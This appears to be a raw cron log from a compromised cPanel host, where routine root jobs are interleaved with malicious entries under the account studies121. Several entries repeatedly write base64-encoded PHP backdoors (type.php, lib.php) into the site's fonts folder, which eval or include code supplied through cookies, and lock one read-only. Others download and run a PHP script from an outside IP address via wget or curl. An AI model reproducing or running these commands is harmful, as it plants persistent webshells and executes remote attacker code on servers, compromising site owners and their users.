Sep  6 20:56:01 ip-184-168-122-23 CROND[28287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:56:01 ip-184-168-122-23 CROND[28288]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:57:02 ip-184-168-122-23 CROND[28374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:57:02 ip-184-168-122-23 CROND[28376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:57:02 ip-184-168-122-23 CROND[28378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:57:02 ip-184-168-122-23 CROND[28381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:58:02 ip-184-168-122-23 CROND[28452]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:58:02 ip-184-168-122-23 CROND[28457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:58:02 ip-184-168-122-23 CROND[28454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:58:02 ip-184-168-122-23 CROND[28456]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 20:58:02 ip-184-168-122-23 CROND[28455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:59:01 ip-184-168-122-23 CROND[28552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:59:01 ip-184-168-122-23 CROND[28555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:59:01 ip-184-168-122-23 CROND[28556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:59:01 ip-184-168-122-23 CROND[28554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:00:01 ip-184-168-122-23 CROND[28649]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:00:01 ip-184-168-122-23 CROND[28653]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 21:00:01 ip-184-168-122-23 CROND[28651]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 21:00:01 ip-184-168-122-23 CROND[28652]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 21:00:01 ip-184-168-122-23 CROND[28657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:00:01 ip-184-168-122-23 CROND[28655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:00:01 ip-184-168-122-23 CROND[28656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:00:02 ip-184-168-122-23 CROND[28658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:01:01 ip-184-168-122-23 CROND[28751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:01:01 ip-184-168-122-23 CROND[28753]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 21:01:01 ip-184-168-122-23 CROND[28758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:01:01 ip-184-168-122-23 CROND[28761]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 21:01:01 ip-184-168-122-23 CROND[28759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:01:01 ip-184-168-122-23 CROND[28757]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[28753]: starting 0anacron
Sep  6 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[28773]: finished 0anacron
Sep  6 21:02:02 ip-184-168-122-23 CROND[28937]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:02:02 ip-184-168-122-23 CROND[28939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:02:02 ip-184-168-122-23 CROND[28940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:02:02 ip-184-168-122-23 CROND[28942]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:02:02 ip-184-168-122-23 CROND[28941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:03:01 ip-184-168-122-23 CROND[29020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:03:01 ip-184-168-122-23 CROND[29024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:03:02 ip-184-168-122-23 CROND[29026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:03:02 ip-184-168-122-23 CROND[29027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:04:01 ip-184-168-122-23 CROND[29110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:04:01 ip-184-168-122-23 CROND[29112]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:04:01 ip-184-168-122-23 CROND[29111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:04:01 ip-184-168-122-23 CROND[29114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:04:01 ip-184-168-122-23 CROND[29115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:05:01 ip-184-168-122-23 CROND[29197]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:05:01 ip-184-168-122-23 CROND[29200]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 21:05:01 ip-184-168-122-23 CROND[29202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:05:01 ip-184-168-122-23 CROND[29199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:05:01 ip-184-168-122-23 CROND[29201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:05:01 ip-184-168-122-23 CROND[29203]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 21:05:01 ip-184-168-122-23 CROND[29204]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 21:06:01 ip-184-168-122-23 CROND[29286]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:06:01 ip-184-168-122-23 CROND[29288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:06:01 ip-184-168-122-23 CROND[29289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:06:01 ip-184-168-122-23 CROND[29291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:06:01 ip-184-168-122-23 CROND[29293]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:07:01 ip-184-168-122-23 CROND[29449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:07:01 ip-184-168-122-23 CROND[29450]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:07:01 ip-184-168-122-23 CROND[29452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:07:01 ip-184-168-122-23 CROND[29453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:08:01 ip-184-168-122-23 CROND[29532]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:08:01 ip-184-168-122-23 CROND[29534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:08:01 ip-184-168-122-23 CROND[29535]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:08:01 ip-184-168-122-23 CROND[29536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
